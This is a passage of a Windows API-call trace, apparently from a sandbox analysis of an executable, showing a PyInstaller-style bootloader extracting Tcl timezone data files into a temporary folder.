(hostlong=0x86060000) returned 0x686 [0039.019] htonl (hostlong=0x57200000) returned 0x2057 [0039.019] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5630f0 [0039.019] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5630f0 | out: hHeap=0x530000) returned 1 [0039.019] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.019] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.019] CloseHandle (hObject=0x10c) returned 1 [0039.019] GetLastError () returned 0x0 [0039.019] SetLastError (dwErrCode=0x0) [0039.019] GetLastError () returned 0x0 [0039.019] SetLastError (dwErrCode=0x0) [0039.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.020] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.020] GetFileType (hFile=0x10c) returned 0x1 [0039.020] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.020] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.020] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.020] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.020] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.020] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.020] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.020] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.020] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.020] CloseHandle (hObject=0x10c) returned 1 [0039.020] GetLastError () returned 0x0 [0039.020] SetLastError (dwErrCode=0x0) [0039.020] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.020] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.020] GetFileType (hFile=0x10c) returned 0x1 [0039.020] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.020] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.020] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.020] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.020] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.020] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.021] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.021] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.021] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.021] CloseHandle (hObject=0x10c) returned 1 [0039.021] GetLastError () returned 0x0 [0039.021] SetLastError (dwErrCode=0x0) [0039.021] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.021] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.021] GetFileType (hFile=0x10c) returned 0x1 [0039.021] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.021] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.021] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.021] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.021] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.021] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.021] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.021] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.021] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.021] CloseHandle (hObject=0x10c) returned 1 [0039.021] GetLastError () returned 0x0 [0039.021] SetLastError (dwErrCode=0x0) [0039.021] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky") returned 73 [0039.021] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\kentucky"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.022] GetFileType (hFile=0x10c) returned 0x1 [0039.022] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.022] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.022] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.022] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.022] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.022] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.022] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.022] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.022] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.022] CloseHandle (hObject=0x10c) returned 1 [0039.022] GetLastError () returned 0x0 [0039.022] SetLastError (dwErrCode=0x0) [0039.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky\\Monticello") returned 84 [0039.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky\\Monticello" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\kentucky\\monticello"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.022] GetLastError () returned 0x2 [0039.022] SetLastError (dwErrCode=0x2) [0039.022] GetLastError () returned 0x2 [0039.022] SetLastError (dwErrCode=0x2) [0039.022] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky\\Monticello", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky\\Monticello", lpFilePart=0x0) returned 0x53 [0039.022] GetLastError () returned 0x2 [0039.022] SetLastError (dwErrCode=0x2) [0039.022] GetLastError () returned 0x2 [0039.022] SetLastError (dwErrCode=0x2) [0039.022] GetLastError () returned 0x2 [0039.022] SetLastError (dwErrCode=0x2) [0039.023] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky\\Monticello") returned 84 [0039.023] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.023] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky\\Monticello" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\kentucky\\monticello"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.023] GetFileType (hFile=0x10c) returned 0x1 [0039.023] htonl (hostlong=0x57200000) returned 0x2057 [0039.023] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.024] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.024] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x57, lpOverlapped=0x0) returned 1 [0039.024] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.024] CloseHandle (hObject=0x10c) returned 1 [0039.028] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.029] htonl (hostlong=0x40000000) returned 0x40 [0039.029] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.029] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.029] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.029] GetFileType (hFile=0x10c) returned 0x1 [0039.029] htonl (hostlong=0x5f7c5900) returned 0x597c5f [0039.029] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e2c5f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.029] htonl (hostlong=0x8e000000) returned 0x8e [0039.029] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0039.029] htonl (hostlong=0x8e000000) returned 0x8e [0039.029] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.030] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.030] htonl (hostlong=0xc7000000) returned 0xc7 [0039.030] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc7) returned 0x550600 [0039.030] htonl (hostlong=0x8e000000) returned 0x8e [0039.030] htonl (hostlong=0xc7000000) returned 0xc7 [0039.030] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.030] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.030] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.030] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.030] CloseHandle (hObject=0x10c) returned 1 [0039.031] GetLastError () returned 0x0 [0039.031] SetLastError (dwErrCode=0x0) [0039.031] GetLastError () returned 0x0 [0039.031] SetLastError (dwErrCode=0x0) [0039.031] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.031] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.031] GetFileType (hFile=0x10c) returned 0x1 [0039.031] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.031] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.031] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.031] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.031] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.031] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.031] CloseHandle (hObject=0x10c) returned 1 [0039.031] GetLastError () returned 0x0 [0039.031] SetLastError (dwErrCode=0x0) [0039.031] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.031] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.031] GetFileType (hFile=0x10c) returned 0x1 [0039.031] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.031] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.031] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.032] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.032] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.032] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.032] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.032] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.032] CloseHandle (hObject=0x10c) returned 1 [0039.032] GetLastError () returned 0x0 [0039.032] SetLastError (dwErrCode=0x0) [0039.032] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.032] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.032] GetFileType (hFile=0x10c) returned 0x1 [0039.032] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.032] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.032] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.032] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.092] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.092] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.092] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.092] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.092] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.093] CloseHandle (hObject=0x10c) returned 1 [0039.093] GetLastError () returned 0x0 [0039.093] SetLastError (dwErrCode=0x0) [0039.093] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Knox_IN") returned 72 [0039.093] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Knox_IN" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\knox_in"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.093] GetLastError () returned 0x2 [0039.093] SetLastError (dwErrCode=0x2) [0039.093] GetLastError () returned 0x2 [0039.093] SetLastError (dwErrCode=0x2) [0039.093] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Knox_IN", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Knox_IN", lpFilePart=0x0) returned 0x47 [0039.093] GetLastError () returned 0x2 [0039.093] SetLastError (dwErrCode=0x2) [0039.093] GetLastError () returned 0x2 [0039.093] SetLastError (dwErrCode=0x2) [0039.093] GetLastError () returned 0x2 [0039.093] SetLastError (dwErrCode=0x2) [0039.093] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Knox_IN") returned 72 [0039.093] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.093] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Knox_IN" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\knox_in"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.094] GetFileType (hFile=0x10c) returned 0x1 [0039.094] htonl (hostlong=0xc7000000) returned 0xc7 [0039.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.094] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc7, lpOverlapped=0x0) returned 1 [0039.095] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.095] CloseHandle (hObject=0x10c) returned 1 [0039.096] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.096] htonl (hostlong=0x30000000) returned 0x30 [0039.096] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.096] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: 